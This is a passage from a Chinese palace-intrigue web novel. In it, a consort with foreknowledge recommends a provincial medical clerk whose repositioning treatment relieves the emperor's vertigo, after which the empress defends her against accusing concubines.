御医复提出“邪风入脑、脑髓失养”这一诊断结果,便又照着这个方向治。
本朝医进士的选拔比文科举的竞争还激烈,能成为太医,医术自不必提。
而能给皇帝看病的御医,更是其中的佼佼者。
虽说宫里这地方太医、御医有时候也不能尽信,从宫外找也可能被收买。
可终归要看病不是?
总疑神疑鬼,病还看不看了?
加之元隆帝的龙体一直是柳院判在照看,自是要信任他与其手底下的人。
于是就这么又换了个路子。
可惜半个月过去,元隆帝眼见着瘦了一大圈,病情却不见减轻的迹象。
病迟迟不好,元隆帝的脾气见天儿地暴躁,然后越是暴躁越不利于治病。
这就成了一个死循环。
朝中事务有太子监管,没出什么乱子,可皇帝长期不能理政到底还是会引发众人的不安和各种猜测。
尤其众所周知,眩晕这种病一个不好可能就会发展成中风,导致偏瘫。
元隆帝若真中风了……
因着这种种猜想,最近朝堂上的气氛格外沉重,后宫之中也是一片沉寂。
另外值得一提的是。
信王、荣王差一个月结束禁足,两人得知元隆帝病重后先后上了折子。
表示想到父皇跟前侍疾。
被幽禁的前睿王也上疏哭诉希望能到父皇面前尽孝,以再全父子之情。
这里面有做戏的成分,但也是在按规矩祖制走流程,毕竟当爹的都病了。
儿子若什么反应也无,明摆着是要让人戳脊梁骨,道理懂的都懂。
也因为懂,所以处于暴躁状态的元隆帝不仅没准他们的请奏,反倒在他们的折子上一通劈头盖脸地骂。
骂他们司马昭之心。
说他们等不及想老子死,老子还没死他们就在折子里哭丧,晦气不晦气!
完了旧事重提,说起他们被禁足幽禁的原因,说他们猫哭耗子假慈悲。
黄鼠狼给鸡拜年!
奏折是翰林院学士代回的,写下来比信王他们上疏的内容多了两倍不止!
当然,大的三个骂了,小的也没幸免。
宣王在兵部当着差呢,时不时被元隆帝召进宫骂,还都是为不相干的事。
说他光长个儿不长肉。
跟个竹竿似的,若让他去带兵打仗,敌军估计一根手指头就能将其戳死。
又扯宣王之前宠姜氏的事。
说宣王妃是个苦命的,有了后娘就有了后爹,若非蓉嫔是其亡母的手帕交。
求到御前让把小丫头接进宫里来养,宣王妃许是不知投几回胎了。
元隆帝就骂宣王。
说他和宣王妃分明青梅竹马,熟知宣王妃的品性,却为了个名声不好的外人差点干出宠妾灭妻的事来。
活该宣王妃现在不愿意再替他生孩子,活该他在宣王妃面前装孙子!
该说不说,元隆帝真是知道宣王哪痛就往哪捅,偏宣王只能任老子骂。
简王则被骂得更凶。
他沉湎女色,爱吃肉喝酒。
众皇子中数简王最胖,身体也最不好。
元隆帝骂完简王后便下旨禁了肉酒给他吃,同时严禁他在大婚前接近女人,甚至专门派了人去简王府监视。
另外勒令简王减重,每日跑二十公里,扎马步一个时辰,练功一个时辰。
据说简王悲痛欲绝,企图装病博老子的父爱,结果父爱没有,三年的俸禄也没了。
简王觉得自己太惨了,可惜不敢再闹幺蛾子了,每天吭哧吭哧地减着重。
慎王在外办案倒是挨不着。
元隆帝对太子自然也是憋着火的。
只不过他没忘前几年冷待东宫,不久前又重新重视起太子和东宫的事,他觉得过于反复无常有失体面。
加之太子差当得好,又在他跟前伺候,元隆帝就把对六儿子的火给憋住了。
五月二十七这晚。
临到子时,骆峋处理完政事从文华殿出来,回东宫前去乾元殿看父皇。
元隆帝服了安神药睡下了。
骆峋便在卧房门口看了两眼,之后出了寝殿,他照旧交代全仕财好生看顾。
全仕财连声应下,又心疼道:“您自个儿也要万万注意着身子才是。”
这半个多月元隆帝处理不了政事,都是太子和内阁大臣在代为料理。
加上要侍疾,太子这段日子人也是眼见着清减了不少,眼窝都有些下陷了。
“嗯。”
面对全仕财的关怀,骆峋微微颔首。
又道:“有劳你了。”
全仕财瞧着太子长大的,以前没少帮元隆帝看孩子,闻言擦了擦眼角。
“瞧您说的,本就是奴才该做的。”
骆峋没再多说,转身没入夜色之中。
第198章 槛儿荐医,太子:她是来替他避祸的。
全仕财折身回了后寝殿。
“走了?”
卧房里龙床上,元隆帝脑袋一动不动地睁着眼望着帐顶,幽幽开口道。
全仕财疾步过去。
“陛下,您这才睡多久就醒了。”
元隆帝侧目看他:“你说人怪不怪,明知翻身脑袋会不舒坦,朕偏想翻。”
全仕财:“……”
全仕财蹲过去手扒着床沿笑着道:“奴才之前手磕伤了,伤口又疼又痒,知道不能挠可就是忍不住。
估计这个就是人的本能,您这会儿感觉如何?”
“凑合吧。”
元隆帝拍着被子。
“太子又这个时候才走?”
全仕财说是。
元隆帝沉默,而后叹出一口气。
“朕真是老了,不中用了,这病也不知会不会成瘫子,真到了那一天……”
“主子!”
全仕财跪下道。
“您千万别这么说,您……”
“你别打断朕,有些话该早说就早说,你听着,你是打小跟着朕过来的。
朕信你,太子也信你。
若真有那么一天,你就去跟着太子,跟太子再干几年,干几年再荣养。”
“他年纪轻,儿子都才那么大一点点儿,没有三头六臂,顾不过来的,到时候你去做他的眼做他的刀。
等过两天,朕把高敬璋收拾了……”
.
为了元隆帝的病,近段日子骆峋自是无心儿女情长之事,但他也没就此撂开槛儿与儿子完全不管不问。
譬如时辰晚了。
骆峋不过去,也会叫人跑一趟永煦院。
问问小家伙乖不乖,槛儿白日里做了什么,可有事需他这边处理什么的。
今晚也是如此。
回了元淳宫,知道这个时辰太子不会去后宅,海顺便打算叫袁宝走一趟。
然而没等他开口。
袁宝就上来禀道:“殿下,良娣主子下午差了银竹过来,说是有事与您相商。
说是与陛下的病症有关,若今晚您没时间,便恭请您明日移驾。”
骆峋眯眸,脚下打了转朝后院行去。
永煦院,东厢。
快五个月的曜哥儿已经睡了一觉醒来了。
天热,小家伙也穿得清凉,宽松的无袖棉布褂子,肚脐上搭着条小毯子。
藕节似的胳膊举在脑袋两侧,目不转睛地盯着坐在小床边走神的槛儿。
曜哥儿知道娘在想什么。
皇祖父病了,宫里到处的气氛都很低迷。
前世这个时候的曜哥儿也小,所以不清楚皇祖父的病情具体怎么样。
但他知道皇祖父这次没事。
可惜就他知道,父王和娘都不知道。
娘肯定也在担心皇祖父吧。
曜哥儿叹口气,拍拍娘搭在小床边的手。
别看槛儿说服了自己要沉住气,一定要找准时机了再引荐秦医吏。
可因着担心这辈子情况有变,元隆帝可能会不同于前世要了谁的命,亦或者提前下旨召莫院判回来。
槛儿几乎没怎么安生。
万幸有惊无险。
瑛姑姑在秦医吏那边做好了戏。
槛儿和瑛姑姑也在今天当着其他人的面做了一出戏,眼下只等太子过来。
感觉到儿子在拍她的手,槛儿低头一看。
正对上乌溜溜的大眼睛。
刚要和儿子说话,院子里传来熟悉的动静。
槛儿摸摸儿子的小胖脸蛋,柔声丢下一句“乖乖睡觉”后快步迎了出去。
见太子穿的明显是在外奔走的衣裳,槛儿便知他是听说了她要同他商量的事和元隆帝有关而赶过来的。
于是她也没耽搁,进了正房后便屏退左右。
略显忧心且忐忑地道:“殿下可还记得三月里您准许瑛姑姑去太医院寻医官,治她眩晕的**病一事?”
骆峋之前没想起。
但经她一提,他自然就记起了,他心底几乎下意识就生出了一个猜测。
果不其然。
“据姑姑说那病是她没满三十的时候就有了,但前些年大抵是觉得自己年纪轻,便没将其放在心上。
哪知三月里发了一次病之后便频繁发作,许是她不听那位医官的药,吃了一个多月还是反反复复。”
这其实不是假话。
瑛姑姑的眩晕症确实从二十几岁就有了,且前阵子也一直在喝药调理。
只不过似乎真不听这个大夫的药,瑛姑姑的眩晕好转得并不明显。
等瑛姑姑找到那个秦医吏后,对方给她看了诊,在她喝的药里多加了两味药。
别说,当真比之前的要更来得起效。
眼下瑛姑姑早停药了。
经过这几天的观察,她没再动辄头晕眼花,精气神也比以前足了不少。
瑛姑姑说她感觉自己现在能举起一头牛。
当然,举牛这个槛儿就没跟太子说了,这话是今天为了做戏效果瑛姑姑当着寒酥他们的面这么说的。
“我不清楚陛下的病症究竟如何,但我觉得这位秦医吏可能有些本事,所以斗胆向您提起这么个人。”
“具体是何情况恐需得殿下查证,若此人无用,还请殿下恕罪。”
槛儿站起身,很是郑重地屈膝行礼道。
屋中静默了一瞬。
抬眼见太子目不转睛地盯着她,一双幽静的凤眸里像是藏着别的东西。
槛儿的心提了一下。
脑子里迅速回想自己刚刚的言词语气语调或是表情,可有哪处没做对。
面上则迟疑道:“殿下?可是妾身僭越了?妾身没别的意思,妾身就是……”
她神色似乎慌张起来,作势便要谢罪,却是刚动作就被起身的男人抓住了胳膊。
槛儿抬头看他。
骆峋对上她谨慎踌躇的目光,暗叹一声,握住了她的手,“没有僭越。”
他只是想起了她的“上辈子”。
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然后似乎知道了她那位姑姑的病和父皇现今的病,存在了怎样的关联。
而她此番举动又是为何。
知道不合时宜,可骆峋还是想起了姜氏曾说槛儿回来是为寻他报仇的那些话。
然哪里是报仇。
即便她的最终目的可能只是为了她与曜哥儿能安然度日,那也是在帮他。
在替他避祸。
去年端午射柳是,这次是,甚至得父皇宠爱的曜哥儿也是有她才出生的。
这阵子父皇的确遭了罪,前朝后宫局势紧张,骆峋做的每件事也是谨慎万分。
可父皇的病非槛儿所致,她会选择在这个时候才引出这么一个人。
定是经过深思熟虑。
在确定父皇不会有事的前提下方方面面都替他和东宫,替她自己及那位秦医吏考虑周全了,才行事的。
骆峋没觉得槛儿僭越,更不会怪罪她明知父皇受病痛折磨,却拖到现在才荐医。
她不想让他知晓重生之事,那他便不知。
两息间骆峋敛起心思。
合理质疑道:“孤是在想你说的那位秦医吏若当真有如此本事,为何只是一位医吏,医官都算不上?”
槛儿道:“听瑛姑姑说,这人说话带口音,好像是岭南那边的。”
“岭南。”
骆峋沉吟。
如此倒是说得通,从前几朝至今,岭南因地理及气候劣势被视为瘴疠蛮荒之地,乃贬官流放的首选地之一。
岭南的官员也因此在朝中面临着一定偏见与歧视,尤其说话口音重的。
骆峋倒觉得这些并没那么重要,都是大靖子民,如何要排挤欺凌。
为官者能为君分忧,为百姓谋福祉。
计较出身何处作甚?
按理骆峋此时该叫瑛姑姑过来,详细说明秦医吏为她看诊的情况的。
但他既知晓了槛儿的打算,便不准备多此一举浪费时间了,扬声叫海顺。
“你现在跑一趟太医院,罢,孤亲自去。”
刚被叫进来的海顺一头雾水。
槛儿错愕道:“现在就去?已经快过子时了,您这时候出宫会不会不妥?”
“没有不妥。”
骆峋安抚般解释。
“孤去探探其深浅,若此人当真可用,早一个时辰带去御前,陛下便或能早一个时辰病愈,此事刻不容缓。”
如此,他没找瑛姑姑来询问也合情合理。
“你先睡。”
说罢,没等槛儿再说话人就大步流星地走了。
等太子彻底出了院门。
瑛姑姑从外面进来,一副“怎么没轮到我出场”的茫然之态。
槛儿忍俊不禁。
本来让她来看要说服太子确实不会费多少口舌,毕竟去年端午她拿话本故事当理由说的事他都听了。
且元隆帝的病情到这个阶段正好。
太子孝顺。
这时候哪怕只是一丝希望他也不会放过。
第199章 秦医吏,“承蒙殿下不嫌,小的万死不辞!”
太医院,医吏寮舍。
院里靠近门前台阶上亮着一盏烛灯,秦守淳坐在下面翻着手中的医书。
他老家在岭南思明府的一个小县城里,当地属南疆边陲,与安南接壤。
因着山险溪深多植被,加之气候湿热。
故而常有瘴气滋生,疟疾水蛊病、各类虫虱病在那边十户里就有九户得。
另有痢疾,各种食物**时常发生。
秦家世代为医,所谓一背篓药半背篓命,能在当地做大夫可以说是九死一生。
秦守淳是家中老幺,因着早年与父兄一道为戍边官兵治过病,听他们聊起京城的繁华,宫廷的太医御医们。
秦守淳便动了想出来看看的念头,父兄索性让他试试走医科举的路子。
但本朝医科举不像文举每三年一次,面向各地的参考人员数额也极少。
需先获地方医学的医官赏识证明自身能力,才有机会参加选拔考试。
通过后需知县向知府保举,再考再由知府往上保举,最后参加太医院考核。
秦守淳就是这么一路考一路经保举过来,路上就走了近一年的时间。
最终考核时他的医论、诊疗能力、医德医风皆是甲等,也有知府的特荐信。
可惜因他的祖籍和口音。
他没能成为医士,而是被安排到了杂役区,做些打扫衙署、晾晒药草等杂活。
如此过了十年,到三年前他才升为吏目,能给宫里的贵人主子们抓药煎药了。
秦守淳自是郁郁不得志过一段时间,觉得这京城里的人思想有问题。
然想到家里为他考试花了大把的银钱精力,秦守淳便打消了回家的念头。
十三年以来他没有一日懈怠。
白日活计再繁重,晚上睡前他都会将白天干活观察到的一些东西整理成册。
或通过誊抄废弃官员脉案来推测太医们的诊疗思路,将太医们闲时聊的一些病症什么的记录下来等等。
终是功夫不负有心人。
上边准许他给太医院的杂役吏目看病,前阵子他还认识了太子良娣身边的姑姑!
虽然那姑姑的眩晕属常见病症,关键在于根本的调理,并不是什么问题。
可秦守淳仍是大受鼓舞!
这阵子太医院为了陛下的病每天的气氛都很紧张沉重,可惜陛下的病情病状是机密,秦守淳接触不到。
若不然他真想试试。
不过,应该是没机会的。
他这样的医吏,医术再好也……
秦守淳收起发散的思绪,注意力重新回到医书上,然而没看到两页。
有人叩响了寮舍院门,秦守淳狐疑地去开门,发现竟是该在前院值守的陈太医。
没等他开口询问。
拐角处出来个拎灯笼的小太监,跟着一道高大的身影出现在视野里。
“太子殿下驾临,秦守淳速速行礼!”
陈太医低斥道。
秦守淳一惊。
来不及看清来人之样貌扑通跪下,眼角余光隐隐窥见一抹龙纹:“小的太医院吏目秦守淳参见殿下千岁!”
“起。”
是一道华贵似钟磬的声音。
陈太医:“殿下让你起来回话。”
秦守淳定了定神,大大方方谢了恩后站起身,一派低眉敛目沉稳恭谨之态。
骆峋打量着此人。
见其一身素旧文士衫,身形与时下多数文官不尽相同,体格高大魁梧。
面部方正气质凛然,一把络腮胡打理得很是整洁。
“脑眩而耳闷,呕吐不止,静卧犹如乘舟浮云,行立皆侧倾,是为何故?”
骆峋开门见山地问。
秦守淳恭敬答。
“回殿下的话,若有双目畏光、眼球持续震颤,伴随耳鸣,但无偏瘫之状,脉反弦滑,或为虚邪中络证。”
骆峋:“你当如何治?”
“回殿下,病发前七日当用羚羊定眩饮,取羚羊角、姜半夏、黄连水炒吴茱萸、鲜竹茹,水煎后兑姜汁。
绝对禁用天麻、钩藤等治肝风眩药物。”
“七日后服理髓汤通络复衡,早晚卧蚕功各九遍辅助治疗,二十余日可痊愈。”
秦守淳说的时候骆峋便在脑中回忆柳院判等御医的诊断,以及开的方子。
父皇病情加重后,确诊断为虚邪中络证,在那之前是当肝风痰湿眩在治。
骆峋凤眸眯了眯,“随体位诱发眩晕,此状可也是由虚邪中络证引起?”
“敢
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问殿下,具体是何体位?”
“翻身起卧、仰头低头。”骆峋道。
秦守淳沉思片刻道:“据殿下描述小的初断其为耳风症,不过此症在时下的医书典籍上没有明确记载。
是小的曾在老家治过几例类似病症,自己命名的。”
陈太医顿时瞪圆了眼。
“你放肆!仅在蛮荒之地治过几例的病你也敢大放厥词,还不向殿下请……”
骆峋抬了抬手。
“何为耳风症?”
秦守淳道:“便是人在上了一定年纪后,耳内有一肉眼不可见的球囊会老化脱落,滚到了耳里别的地方。
进而压迫到脑部的一些经脉,形成眩晕,也可能造成耳朵内部有堵塞感。”
骆峋神色沉凝:“经你治过的患者如何了?”
秦守淳露出一个笑来。
“回殿下,那几名患者之后皆不曾复发,小的也将治疗之法授与了家中父兄。”
骆峋观他须臾。
眼底浮起欣赏之意,“太医院吏目秦守淳,你可愿随孤入宫治陛下眩疾?”
秦守淳难以置信地抬眼。
便见眼前之人身姿俊挺伟岸,气质雍容肃然,俊美威严不似凡人,而那双凤眸里毫不掩饰欣赏之色。
秦守淳周身僵直。
旋即重重跪地叩首。
“承蒙殿下不嫌,小的万死不辞!”
.
元隆帝跟全仕财说完话便再度睡着了。
虚邪中络引起的眩晕发过一次病后四五个时辰消退,只要不翻身扭头,他夜里多少能睡上两三个时辰。
感觉睡了没多会儿。
全仕财就在跟前叫:“陛下,陛下醒醒。”
元隆帝没好气。
眼都没睁地道:“你最好有要紧事。”
全仕财的声音带着欣喜:“主子,殿下带来了位兴许能治您眩疾的人!”
元隆帝“刷”地睁眼。
全仕财:“主子当心扭头,当心扭头!”
元隆帝好悬给忍住了。
随即在全仕财的搀扶下慢悠悠坐起来,再直愣愣地挪了挪身子靠在床头。
等全仕财把太子请进来。
元隆帝在御医的帮助下侧着首,目光直接落到行礼的秦守淳身上。
第200章 荐医成功!太子累了
不待元隆帝询问。
骆峋将瑛姑姑去太医院寻医治眩晕的经过简单说明,不过他暂时没说是槛儿向他引荐的这位秦医吏。
道是他自槛儿口中听闻此人,觉得此人许是有些本事,便前去一番试探。
又将他试探秦守淳的问题三言两语说清。
末了道:“秦医吏所断定的虚邪中络证与柳院判等人后来所诊相合。
然由体位引发的眩晕迟迟未究明根源,儿子听这位秦医吏所述似有些道理,故而将人带来请父皇决断。”
元隆帝看了看为他的病和朝中之事瘦了不少的儿子,再看向秦守淳。
“你道是耳中有东西脱落,按说朕该能在耳中有所闻才对,但除了耳鸣朕没听到过其他声音,这是为何?”
秦守淳跪伏在地。
“回陛下的话,那东西体量极小,需采用特制凸透叆叇配合特殊摸耳手法、瞳颤观察术等多重方式方能诊断。”
一听说摸耳,元隆帝蹙了蹙眉。
屋中之人除太子和全仕财外俱是脸色一变,尤其以柳院判为首的一众御医们。
陛下发病之初确实是他们误诊了。
一则那时陛下的病症与肝风痰湿引起的眩晕的确极为相似,让人混淆。
二则便是陛下龙体贵重,即便他们这些御医也不敢轻易触碰,便导致他们在看诊过程中无法过于详细。
这会儿在场的御医之中自是瞧不上秦守淳口音的,又听他说要摸耳。
立马就有人开口斥道:“秦医吏你大胆!陛下的龙体岂是你一介瘴疟之地出身的小小医吏能触碰的!”
“瘴疟之地”几个字一出来,秦守淳的脊背肉眼可见地一僵,方硬的下颌绷紧。
另几个御医连声附和。
劝请元隆帝慎重用此人,甚至说出了“秦医吏身上难保没带瘴疠病”这样的话。
骆峋的眸光一沉。
冷声道:“此人乃元隆帝八年的医进士,孤若没记错当年太医院考核的监考官诸位之中有三人在列。
照诸位所言,秦医吏患有瘴疠之疾,缘何太医院当年未将其筛除?
放任一个患瘴疠疾症的人进太医院至今,诸位意欲为何,又该当何罪!”
几名御医闻言表情纷纷僵住。
有一个御医想说什么。
被元隆帝不耐地打断:“给治了快一个月了,你们有本事倒是给朕治好!
太子大半夜的不睡觉操心朕的病,你们偏说他带了个有瘴疠病的人来。”
“怎么,你们觉得太子要害朕?还要闹得让大家都知道朕**是他害的?”
这话可太重了,一屋子人齐刷刷跪了下去,直呼他们不敢,呼陛下万岁。
元隆帝抄起床头柜几上的茶盏就扔了出去:“治不好朕,朕屁的个万岁!”
一群人战战兢兢不敢再言。
骆峋垂眸立在一侧暂时也没说话。
元隆帝吼得太阳穴突突直跳,脑袋又是一阵晕晕乎乎,耳边嗡嗡的。
他缓了会儿,对秦守淳道:“你来,先替朕看看是不是你说的那个耳风症。”
秦守淳不敢怠慢。
忙恭声应下起身从自己随身带来的布袋子里,拿出检查要用的一应用具。
众人就见他拿出来的那个凸透叆叇,格外和他们平时用的凸透叆叇不同。
不是很大,但能将东西放得尤为大且清晰。
秦守淳先替元隆帝查看了眼瞳,又拿那特制叆叇检查了元隆帝两边耳内,最后就是使用他独有的摸耳法。
一通检查罢。
秦守淳道:“陛下翻身起卧的眩晕确为耳风症引起,您目前的病状乃耳风症与虚邪中络证两相所致。
耳风虚邪皆入脑,故而病程较长久治不愈,按病理必须先治好耳风症方可。”
元隆帝:“如何治?”
秦守淳道:“小的有一法可在半刻钟内暂缓耳风症,保陛下今夜左卧不眩,只起初几息会极为难受。”
元隆帝破罐子破摔道:“横竖难受快一个月了,不差这一时半会儿。”
一众御医:“……”
于是接下来秦守淳让元隆帝将姜汁冰片锭含在舌下,起到一个止呕的作用。
之后他以身示范,坐地上仰头过半望着屋顶。
再以半仰头的姿势双手扶着脸左右各缓慢地转动九次,最后保持侧首的姿势,猛地俯冲面朝地面!
用秦守淳的说法便是,此举意在将耳中脱落的东西复归到原来的位置。
元隆帝跟着他做。
起初确实难受,但当他咬牙做完之后直起身再扭头时还真没晕了。
全仕财端来秦守淳特制的米汤,元隆帝服下,瞬间感觉整个人松快了不少。
秦守淳:“此复位术需持续三日,期间便以姜汁冰片与这道粥止呕,三日后再针对两种病症结合治疗。”
到这时其他御医也是看出这位医吏确有几分手段了,自是神色心思难辨。
元隆帝发话:“先照秦守淳所言复位三日,剩下的三日后再说,秦守淳这几天就留在乾元殿待命。”
秦守淳叩首领旨。
之后随着小太监
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去值房不提。
“太子也回,大晚上的也够折腾你,明日还有得忙,回去抓紧时间睡一觉。”
外人都走了,元隆帝看向儿子道。
骆峋没有多言,道了句“父皇好生歇息”便如平时一样从容告退了。
元隆帝接过全仕财端来的漱口水漱口,漱完,他忽地不明意味地笑了声。
.
太子走后,槛儿便回卧房睡下了,但心里装着事终究没怎么能睡得着。
毕竟她没见过那位秦医吏,也不清楚太子具体会怎么试探对方的深浅。
元隆帝又会不会用此人。
关乎性命的大事,槛儿思虑的便多些。
就这么不知想了多久。
外间忽然响起隐隐的开关门声。
槛儿偏头看向卧房门口。
没多会儿就见一道颀长身影绕过屏风,朝床榻这边没什么声音地走过来。
槛儿坐起来撩开帐子:“殿下?这么晚了您……可是有见到那位秦医吏?”
骆峋洗漱后过来的。
身上还带着清凉的水汽,见她双目清明,他就知她定也是极为担心。
毕竟即便她有先知。
也无从得知自己见闻范围之外的事物,会担心事情有变自是在常理之中。
这么想着,骆峋便也没让她继续忧心。
“见了,是个有本事的,暂时缓解了陛下的症状,陛下留他在乾元殿待命。”
说着话,他褪去外袍上了榻。
槛儿拍拍心口呼出一口气,拿起团扇替太子扇风,两人一起躺下。
“医术上的事我也不懂。”
槛儿攥着男人的大掌,轻声道。
“我刚刚还在想自己会不会太大惊小怪了,对方不过治好了瑛姑姑的旧疾,我便不知深浅地向您提起他,万一……”
“道虽迩,不行不至,事虽小,不为不成。”
骆峋打断她的话,淡声道。
“你不知深浅,孤亦不知,故而试了才清楚,不论结果好坏你的初衷都是好的,你无需过于忧虑。”
槛儿笑着“嗯嗯”两声。
“您在外奔波一整天,只有不到两个时辰能睡了,您赶紧抓紧时间歇息。”
可能是近段时日一直绷着一根弦,眼下父皇的病总算有了治愈的希望。
那根绷着的弦潜意识有了松动,骆峋还真久违地感受到了一丝体力不济。
不过思及槛儿也等了一晚。
他握了握她的手,温声道:“孤暂未向陛下禀明秦医吏乃你引荐与孤的,待其人治好陛下再说不迟。”
第201章 槛儿被群攻,“宋良娣是何居心?!”
槛儿微怔。
随即反应过来太子有此一说的原因。
秦医吏有本事不假,但在太子看来,在治好元隆帝之前一切都存着变数。
可能秦医吏最后也治不好元隆帝,也可能中间突然出了别的变故。
若此时向元隆帝说明人是她引荐的,到时候出了事责任便会落到她头上。
反之,则由太子一人抗。
而等秦医吏治好了元隆帝,太子再向元隆帝说明实情,功劳则是她的。
说实话,槛儿在决定向太子引荐这么一个人时其实根本没想过揽功。
她纯粹不想莫院判家里的人伦悲剧重现,不想整个东宫跟着如履薄冰。
也因着前世是秦医吏提出的法子治好了元隆帝,所以即便槛儿心里做好了这辈子可能有变故的准备。
潜意识里也还是相信此人的。
这会儿太子这么一说,确实符合他的行事风格,但槛儿说不触动也是假的。
不过她倒没说什么表感动的话,只往太子身边挨了挨,轻声说“好”。
骆峋捏捏她的手指,“孤去太医院的消息不曾隐瞒,许是明早便会传开。
你的姑姑寻过秦守淳治病,太医院中有人目睹,这件事应也会传开。
后宫之中或有人因此对你生出诸多猜忌,若有消息传到你这边,你不必多虑,娘娘自会将人打发了。”
说着话。
他人是平躺着的,累极般闭着眼。
墙角的烛光透过纱帐落到他脸上,朦胧间槛儿能看清他长长的睫毛。
“嗯?”
没听见应声,骆峋侧首看过来。
槛儿搁下团扇。
手臂横过他的胸膛搭在他另一侧肩头,“好,我记住了,您快睡吧。”
骆峋搂住她睡着了。
睡了这二十多天以来第一个好觉。
.
第二天。
太子半夜去太医院带了个医吏回来给陛下治病,据说这医吏还是岭南的。
且据说这位医吏给东宫那位宋良娣身边的管事姑姑治过病,太子貌似就是通过这件事找上的这位医吏。
不到半天的功夫,这两则消息就在前朝后廷传开了。
这段时间因着元隆帝的病,不论真心还是假意,朝中大臣们都操碎了心。
听到这样的消息,自是免不得一番追问。
朝堂上消息得知得早。
他们之中有人也有自己的消息路子,所以今儿一早在由太子代为主持的朝会上就有大臣询问各种问题。
车轱辘话来回,重点就在于陛下龙体贵重,怎能让一个小小医吏诊治呢?
这不就是胡闹吗!
自然也有对此事持赞成态度的。
称道是常言高手在民间。
陛下的病情已延误多日,那位秦医吏既有办法当场缓解陛下的病痛。
就说明此人有些本事。
虽然这些人没明说,也是不敢说,但心里的意思无不是死马当活马医。
另有真心希望元隆帝能尽快病愈的。
几拨人在朝堂上争得僵持不下,最后甚至有人几乎快要大打出手。
骆峋看他们吵了会儿。
末了出来做了保。
称人是他举荐的,有事他一人担责。
此言一出,反对派除去个别由衷担心元隆帝被秦医吏治出个好歹来的。
其他人说白了就是怕出了事他们要分担责任,听太子如此一说,这些人脸上或多或少都带着点讪讪。
不过为表忠心,他们还是辩了几句。
骆峋没搭理他们。
东宫一系的人觉得太子这般保证过于武断,不免就想到太子会举荐那个医吏跟宋良娣身边的宫人有关。
再不免就有人想把宋良娣牵扯出来,有意把事后之责推到槛儿头上。
男人出了事让女人背责这种事,自古以来层出不穷,若不哪会有红颜祸水一说。
可惜刚有人话里话外有这个苗头,就先被太子给巧妙地岔开了话题。
之所以是岔开话题。
是因为这会儿秦医吏能不能治好元隆帝尚未可知,若太子这时候就用过于强硬的态度为槛儿说话。
一则会叫朝堂众人觉得太子为美色所惑,二则更会陷槛儿于不义之中。
这些个大臣在外最是要脸面,尤其刚
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刚他们还那般支持太子的决定。
如今说到要担责了,且还是在事情结果如何没有论断的情况下。
他们若这就坚持要把女人扯出来担责,不是明摆着让对家看笑话吗?
于是。
太子给了台阶,这些人就下了。
至于之后会是何态度。
那就看秦医吏能否治得好元隆帝了。
而相较于朝中某些沽名钓誉的男人,后宫这边的反应明显要激烈多了。
消息一经传开,就有人找到裴皇后跟前。
“陛下万金之躯,平素里都是由御医们在前精心侍候,如何使得让一个不入流的医吏替陛下治疾?”
坤和宫后寝殿,正堂里。
德妃下首处的宁妃柳眉微蹙,看似恭敬实则颇有些埋怨之意地看着裴皇后。
“谁说不是呢。”
对面的瑶嫔接话道。
“听说那医吏还是岭南的?妾身读过记载岭南地区民俗风貌的书,那就是未经开化的瘴疫南蛮之地。
从那地方出来的人定是邋遢脏污,这般的人单是在人前露面便有碍观瞻,又如何能污损陛下的龙体?”
魏嫔看热闹不嫌事大,眼珠子一转道:“太子日日在前朝,哪有功夫去注意太医院里一个杂流医吏?
又怎可能留心哪个奴才生了病找了谁治过病这种小事?不知娘娘可叫人查过这位秦医吏的来历可正?”
魏嫔果然不负她会挑事的本性,三言两语就把槛儿合情合理地给扯了出来。
在场的妃嫔脸色顿时一变。
一阵你看看我,我看看你之后丽嫔道:“太子如今最是宠爱宋良娣,她身边的奴才找那医吏治过病。
回头人就被太子举荐到了陛下跟前,要说此事与宋良娣无关,妾身不信。”
宁妃皮笑肉不笑。
“我倒想知道宋良娣和那位秦医吏存着什么样的关系,将那样一个蛮荒人引至陛下面前又是何居心!
皇后娘娘您也犯不着偏袒,事关陛下,还是召宋良娣来问个究竟是好。”
“对,把宋良娣叫来问问!”
“请宋良娣来!”
第202章 裴皇后护宋良娣,元隆帝病愈!
宁妃与槛儿往日无怨近日无仇,自然谈不上针对她,不过是看不惯中宫一系,又搅不起什么风浪。
就想揪着这一点,让裴皇后难堪罢了。
至于其他人是抱着什么心思闹着要召槛儿过来,就她们心知肚明了。
可惜任她们情绪如何激动,裴皇后坐在主位上老神在在地喝着茶。
等她们闹不下去,自己停下来了。
裴皇后才风轻云淡道:“你们口口声声道宋良娣与那位医吏存着什么关系。
那你们倒是说说,宋良娣与其具体有何关系,你们可有证据?证人?
大理寺办案尚且讲人证物证,你们身为皇室中人空口白牙怎么行?”
“若你们能证明宋良娣与秦医吏私下里有联系,也不用召她来问话了,本宫这就下旨叫宗人府来拿人。”
宁妃等人一噎。
魏嫔觉得她们可真没用,几句话就能让人摆平。
“娘娘此言差矣。”
她正色道。
“任何案件初始都不是能一举靠证据拿人的,而是一层一层审下来的。
妾身等虽没有证据,但按道理这件事原就有疑点,妾身们也不过是忧心陛下龙体安危,才如此谨慎。”
“请宋良娣来询问一二,若她实属无辜,妾身等向其赔礼道歉就是。
娘娘倒也不至于问都没问便这般袒护,还是说,娘娘其实早就知晓太子会向陛下举荐那位岭南医吏?”
医吏就医吏,她非得再次强调对方的出身,结合她说的最后那句话。
就差没直接说太子举荐此人给元隆帝看病,显然是中宫一系别有居心了。
果不其然,其他人的脸色又是一变,于是心里更加笃定了要把槛儿召来问话。
只可惜她们没来得及开口。
裴皇后直接道:
“行了,你用不着在这儿挑拨来猜忌去的,她们没脑子多少年了还吃你这一套,我脑耳朵却是要起茧子了。”
魏嫔还是贵妃时暗地里耍阴招偶尔还能有得手的机会,但像这种打嘴仗。
她在裴皇后面前,几乎从来就没得逞过。
不为别的。
就因着裴皇后从不和她逞口舌之能,都是毫不留情地当众拆穿她的小心思。
偏她又不能公然顶撞。
魏嫔从前没少为这事受气。
如今她自认心性练出来了,然下意识却还是忍不住恼意,脸上青一阵红一阵的。
其他人的表情跟她不遑多让。
“知道你们关心陛下。”
裴皇后道。
“我也会将你们的关心转告给陛下,但不能因着关心陛下就扯些乱七八糟的来中伤宋良娣,中伤东宫。
且你们不要忘了,人是太子举荐的,但用人与否可不是太子说了算。
你们左一句不该让那位医吏给陛下治疾,右一句阴谋诡计、别有居心。
是你们比陛下英明,还是你们觉得陛下老眼昏花,年迈糊涂辨不出好赖了?”
这话就重了。
宁妃等人神色僵了,魏嫔的嘴角也抽了抽。
“娘娘,您这根本就是在偷梁换柱,妾身等不过是关心陛下……”
咚!
裴皇后把茶盏往小几一笃。
